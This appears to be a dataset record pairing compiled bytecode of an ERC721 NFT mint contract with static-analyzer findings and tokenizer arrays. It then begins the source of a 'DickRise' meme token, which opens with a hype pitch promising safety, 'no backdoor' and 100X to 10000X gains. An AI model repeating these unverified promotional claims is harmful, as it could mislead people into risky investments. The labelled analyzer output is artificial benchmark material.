4806109b057506109af816109aa611867565b6115f9565b5b6109ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e69061387c565b60405180910390fd5b6109f983836118db565b505050565b600e60009054906101000a900460ff1681565b6000600880549050905090565b610a2f610a29611867565b82611994565b610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906139fc565b60405180910390fd5b610a79838383611a72565b505050565b6000610a8983610fdc565b8210610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac19061377c565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6000610b2d610a11565b9050610b376111de565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c5a57600e60009054906101000a900460ff1615610bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb0906138fc565b60405180910390fd5b6001600c54610bc89190613b64565b8210610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c009061385c565b60405180910390fd5b81600d54610c179190613beb565b341015610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c50906139dc565b60405180910390fd5b5b6122b88282610c699190613b64565b1115610caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca1906139bc565b60405180910390fd5b60005b82811015610cdd57610cca848284610cc59190613b64565b611cce565b8080610cd590613d61565b915050610cad565b50505050565b610cfe838383604051806020016040528060008152506114f0565b505050565b60606000610d1083610fdc565b905060008167ffffffffffffffff811115610d54577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610d825781602001602082028036833780820191505090505b50905060005b82811015610df257610d9a8582610a7e565b828281518110610dd3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250508080610dea90613d61565b915050610d88565b508092505050919050565b6000610e07610a11565b8210610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f90613a1c565b60405180910390fd5b60088281548110610e82577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610e9c611867565b73ffffffffffffffffffffffffffffffffffffffff16610eba6111de565b73ffffffffffffffffffffffffffffffffffffffff1614610f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f079061393c565b60405180910390fd5b80600b9080519060200190610f2692919061291b565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca906138bc565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561104d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110449061389c565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61109c611867565b73ffffffffffffffffffffffffffffffffffffffff166110ba6111de565b73ffffffffffffffffffffffffffffffffffffffff1614611110576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111079061393c565b60405180910390fd5b61111a6000611cec565b565b6122b881565b61112a611867565b73ffffffffffffffffffffffffffffffffffffffff166111486111de565b73ffffffffffffffffffffffffffffffffffffffff161461119e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111959061393c565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050506111dc57600080fd5b565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611210611867565b73ffffffffffffffffffffffffffffffffffffffff1661122e6111de565b73ffffffffffffffffffffffffffffffffffffffff1614611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b9061393c565b60405180910390fd5b80600d8190555050565b60606001805461129d90613d2f565b80601f01602080910402602001604051908101604052809291908181526020018280546112c990613d2f565b80156113165780601f106112eb57610100808354040283529160200191611316565b820191906000526020600020905b8154815290600101906020018083116112f957829003601f168201915b5050505050905090565b600061132a6111de565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611366576000905061136c565b600d5490505b90565b611377611867565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc9061381c565b60405180910390fd5b80600560006113f2611867565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661149f611867565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516114e4919061373f565b60405180910390a35050565b6115016114fb611867565b83611994565b611540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611537906139fc565b60405180910390fd5b61154c84848484611db2565b50505050565b606061155d8261186f565b61159c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115939061397c565b60405180910390fd5b60006115a6611e0e565b905060008151116115c657604051806020016040528060008152506115f1565b806115d084611ea0565b6040516020016115e1929190613692565b6040516020818303038152906040525b915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611695611867565b73ffffffffffffffffffffffffffffffffffffffff166116b36111de565b73ffffffffffffffffffffffffffffffffffffffff1614611709576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117009061393c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611779576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611770906137bc565b60405180910390fd5b61178281611cec565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061185057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611860575061185f8261204d565b5b9050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661194e83610f2a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061199f8261186f565b6119de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d59061383c565b60405180910390fd5b60006119e983610f2a565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611a5857508373ffffffffffffffffffffffffffffffffffffffff16611a4084610861565b73ffffffffffffffffffffffffffffffffffffffff16145b80611a695750611a6881856115f9565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611a9282610f2a565b73ffffffffffffffffffffffffffffffffffffffff1614611ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adf9061395c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4f906137fc565b60405180910390fd5b611b638383836120b7565b611b6e6000826118db565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bbe9190613c45565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c159190613b64565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b611ce88282604051806020016040528060008152506121cb565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611dbd848484611a72565b611dc984848484612226565b611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff9061379c565b60405180910390fd5b50505050565b6060600b8054611e1d90613d2f565b80601f0160208091040260200160405190810160405280929190818152602001828054611e4990613d2f565b8015611e965780601f10611e6b57610100808354040283529160200191611e96565b820191906000526020600020905b815481529060010190602001808311611e7957829003601f168201915b5050505050905090565b60606000821415611ee8576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612048565b600082905060005b60008214611f1a578080611f0390613d61565b915050600a82611f139190613bba565b9150611ef0565b60008167ffffffffffffffff811115611f5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611f8e5781602001600182028036833780820191505090505b5090505b6000851461204157600182611fa79190613c45565b9150600a85611fb69190613daa565b6030611fc29190613b64565b60f81b818381518110611ffe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561203a9190613bba565b9450611f92565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6120c28383836123bd565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561210557612100816123c2565b612144565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461214357612142838261240b565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121875761218281612578565b6121c6565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146121c5576121c482826126bb565b5b5b505050565b6121d5838361273a565b6121e26000848484612226565b612221576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122189061379c565b60405180910390fd5b505050565b60006122478473ffffffffffffffffffffffffffffffffffffffff16612908565b156123b0578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612270611867565b8786866040518563ffffffff1660e01b815260040161229294939291906136d1565b602060405180830381600087803b1580156122ac57600080fd5b505af19250505080156122dd57506040513d601f19601f820116820180604052508101906122da9190612cf0565b60015b612360573d806000811461230d576040519150601f19603f3d011682016040523d82523d6000602084013e612312565b606091505b50600081511415612358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234f9061379c565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506123b5565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161241884610fdc565b6124229190613c45565b9050600060076000848152602001908152602001600020549050818114612507576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b6000600160088054905061258c9190613c45565b90506000600960008481526020019081526020016000205490506000600883815481106125e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050806008838154811061262a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001819055508160096000838152602001908152602001600020819055506009600085815260200190815260200160002060009055600880548061269f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006126c683610fdc565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a1906138dc565b60405180910390fd5b6127b38161186f565b156127f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ea906137dc565b60405180910390fd5b6127ff600083836120b7565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461284f9190613b64565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b82805461292790613d2f565b90600052602060002090601f0160209004810192826129495760008555612990565b82601f1061296257805160ff1916838001178555612990565b82800160010185558215612990579182015b8281111561298f578251825591602001919060010190612974565b5b50905061299d91906129a1565b5090565b5b808211156129ba5760008160009055506001016129a2565b5090565b60006129d16129cc84613a88565b613a57565b9050828152602081018484840111156129e957600080fd5b6129f4848285613ced565b509392505050565b6000612a0f612a0a84613ab8565b613a57565b905082815260208101848484011115612a2757600080fd5b612a32848285613ced565b509392505050565b600081359050612a4981613ea8565b92915050565b600081359050612a5e81613ebf565b92915050565b600081359050612a7381613ed6565b92915050565b600081519050612a8881613ed6565b92915050565b600082601f830112612a9f57600080fd5b8135612aaf8482602086016129be565b91505092915050565b600082601f830112612ac957600080fd5b8135612ad98482602086016129fc565b91505092915050565b600081359050612af181613eed565b92915050565b600060208284031215612b0957600080fd5b6000612b1784828501612a3a565b91505092915050565b60008060408385031215612b3357600080fd5b6000612b4185828601612a3a565b9250506020612b5285828601612a3a565b9150509250929050565b600080600060608486031215612b7157600080fd5b6000612b7f86828701612a3a565b9350506020612b9086828701612a3a565b9250506040612ba186828701612ae2565b9150509250925092565b60008060008060808587031215612bc157600080fd5b6000612bcf87828801612a3a565b9450506020612be087828801612a3a565b9350506040612bf187828801612ae2565b925050606085013567ffffffffffffffff811115612c0e57600080fd5b612c1a87828801612a8e565b91505092959194509250565b60008060408385031215612c3957600080fd5b6000612c4785828601612a3a565b9250506020612c5885828601612a4f565b9150509250929050565b60008060408385031215612c7557600080fd5b6000612c8385828601612a3a565b9250506020612c9485828601612ae2565b9150509250929050565b600060208284031215612cb057600080fd5b6000612cbe84828501612a4f565b91505092915050565b600060208284031215612cd957600080fd5b6000612ce784828501612a64565b91505092915050565b600060208284031215612d0257600080fd5b6000612d1084828501612a79565b91505092915050565b600060208284031215612d2b57600080fd5b600082013567ffffffffffffffff811115612d4557600080fd5b612d5184828501612ab8565b91505092915050565b600060208284031215612d6c57600080fd5b6000612d7a84828501612ae2565b91505092915050565b6000612d8f8383613674565b60208301905092915050565b612da481613c79565b82525050565b6000612db582613af8565b612dbf8185613b26565b9350612dca83613ae8565b8060005b83811015612dfb578151612de28882612d83565b9750612ded83613b19565b925050600181019050612dce565b5085935050505092915050565b612e1181613c8b565b82525050565b6000612e2282613b03565b612e2c8185613b37565b9350612e3c818560208601613cfc565b612e4581613e97565b840191505092915050565b6000612e5b82613b0e565b612e658185613b48565b9350612e75818560208601613cfc565b612e7e81613e97565b840191505092915050565b6000612e9482613b0e565b612e9e8185613b59565b9350612eae818560208601613cfc565b80840191505092915050565b6000612ec7602b83613b48565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000612f2d603283613b48565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000612f93602683613b48565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ff9601c83613b48565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000613039602483613b48565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061309f601983613b48565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b60006130df602c83613b48565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613145602983613b48565b91507f596f752063616e2061646f70742061206d6178696d756d206f66205f6d61784d60008301527f696e7420596f64617300000000000000000000000000000000000000000000006020830152604082019050919050565b60006131ab603883613b48565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000613211602a83613b48565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b6000613277602983613b48565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006132dd602083613b48565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b600061331d600b83613b48565b91507f53616c65205061757365640000000000000000000000000000000000000000006000830152602082019050919050565b600061335d602c83613b48565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006133c3602083613b48565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613403602983613b48565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000613469602f83613b48565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b60006134cf602183613b48565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613535601683613b48565b91507f45786365656473206d6178696d756d20737570706c79000000000000000000006000830152602082019050919050565b6000613575601983613b48565b91507f45746865722073656e74206973206e6f7420636f7272656374000000000000006000830152602082019050919050565b60006135b5603183613b48565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b600061361b602c83613b48565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b61367d81613ce3565b82525050565b61368c81613ce3565b82525050565b600061369e8285612e89565b91506136aa8284612e89565b91508190509392505050565b60006020820190506136cb6000830184612d9b565b92915050565b60006080820190506136e66000830187612d9b565b6136f36020830186612d9b565b6137006040830185613683565b81810360608301526137128184612e17565b905095945050505050565b600060208201905081810360008301526137378184612daa565b905092915050565b60006020820190506137546000830184612e08565b92915050565b600060208201905081810360008301526137748184612e50565b905092915050565b6000602082019050818103600083015261379581612eba565b9050919050565b600060208201905081810360008301526137b581612f20565b9050919050565b600060208201905081810360008301526137d581612f86565b9050919050565b600060208201905081810360008301526137f581612fec565b9050919050565b600060208201905081810360008301526138158161302c565b9050919050565b6000602082019050818103600083015261383581613092565b9050919050565b60006020820190508181036000830152613855816130d2565b9050919050565b6000602082019050818103600083015261387581613138565b9050919050565b600060208201905081810360008301526138958161319e565b9050919050565b600060208201905081810360008301526138b581613204565b9050919050565b600060208201905081810360008301526138d58161326a565b9050919050565b600060208201905081810360008301526138f5816132d0565b9050919050565b6000602082019050818103600083015261391581613310565b9050919050565b6000602082019050818103600083015261393581613350565b9050919050565b60006020820190508181036000830152613955816133b6565b9050919050565b60006020820190508181036000830152613975816133f6565b9050919050565b600060208201905081810360008301526139958161345c565b9050919050565b600060208201905081810360008301526139b5816134c2565b9050919050565b600060208201905081810360008301526139d581613528565b9050919050565b600060208201905081810360008301526139f581613568565b9050919050565b60006020820190508181036000830152613a15816135a8565b9050919050565b60006020820190508181036000830152613a358161360e565b9050919050565b6000602082019050613a516000830184613683565b92915050565b6000604051905081810181811067ffffffffffffffff82111715613a7e57613a7d613e68565b5b8060405250919050565b600067ffffffffffffffff821115613aa357613aa2613e68565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115613ad357613ad2613e68565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613b6f82613ce3565b9150613b7a83613ce3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613baf57613bae613ddb565b5b828201905092915050565b6000613bc582613ce3565b9150613bd083613ce3565b925082613be057613bdf613e0a565b5b828204905092915050565b6000613bf682613ce3565b9150613c0183613ce3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c3a57613c39613ddb565b5b828202905092915050565b6000613c5082613ce3565b9150613c5b83613ce3565b925082821015613c6e57613c6d613ddb565b5b828203905092915050565b6000613c8482613cc3565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613d1a578082015181840152602081019050613cff565b83811115613d29576000848401525b50505050565b60006002820490506001821680613d4757607f821691505b60208210811415613d5b57613d5a613e39565b5b50919050565b6000613d6c82613ce3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d9f57613d9e613ddb565b5b600182019050919050565b6000613db582613ce3565b9150613dc083613ce3565b925082613dd057613dcf613e0a565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b613eb181613c79565b8114613ebc57600080fd5b50565b613ec881613c8b565b8114613ed357600080fd5b50565b613edf81613c97565b8114613eea57600080fd5b50565b613ef681613ce3565b8114613f0157600080fd5b5056fea26469706673582212207ddbf72b7cbb3f96f6ce64d6d6fd1a3e1ff69ce0119104ea46f4fcdaeb96014b64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 22932, 7959, 2278, 23833, 2063, 2487, 3207, 2692, 19317, 22407, 2546, 22275, 2475, 10322, 22275, 2629, 2050, 26976, 2581, 2575, 2497, 24594, 6679, 2278, 2549, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,857
0x95d47ce99205f7f2547681f927e7cf9db0bd3fac
/* Welcome to $DickRise We have forked the contract of Everrise and created a more sustainable token called "DickRise" On each sell, the contract will trigger a buy and burn the bought tokens creating an hyper deflationary token. This is a community token. So there is no official group. If someone wants to create one , just do your publicity in other groups, and then establish a consensus group. There is only one channel recording the information when I released this coin. If you want to view all the information about this coin, please check https://t.me/DickRise_Channel I'll lock liquidity LPs through team.finance for at least 30 days, if the response is good, I will extend the time. I'll renounce the ownership to burn addresses to transfer $DickRise to the community, make sure it's 100% safe. It's a community token, every holder should promote it, or create a group for it, if you want to pump your investment, you need to do some effort. Great features: 1.Fair Launch! 2.No Dev Tokens No mint code No Backdoor 3.Anti-sniper & Anti-bot scripting 4.Anti-whale Max buy/sell limit 5.LP send to team.finance for 30days, if the response is good, I will continue to extend it 6.Contract renounced on Launch! 7.1000 Billion Supply and 50% to burn address! 8.Auto-farming to All Holders! 9.Tax: 8% => Burn: 4% | LP: 4% 4% fee for liquidity will go to an address that the contract creates, and the contract will sell it and add to liquidity automatically, it's the best part of the $DickRise idea, increasing the liquidity pool automatically. I’m gonna put all my coins with 4ETH in the pool. Can you make this token 100X or even 10000X? Hope you guys have real diamond hand */ // SPDX-License-Identifier: MIT // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed operator, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address operator) external view returns (uint); function allowance(address operator, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address operator) external view returns (uint); function permit(address operator, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, 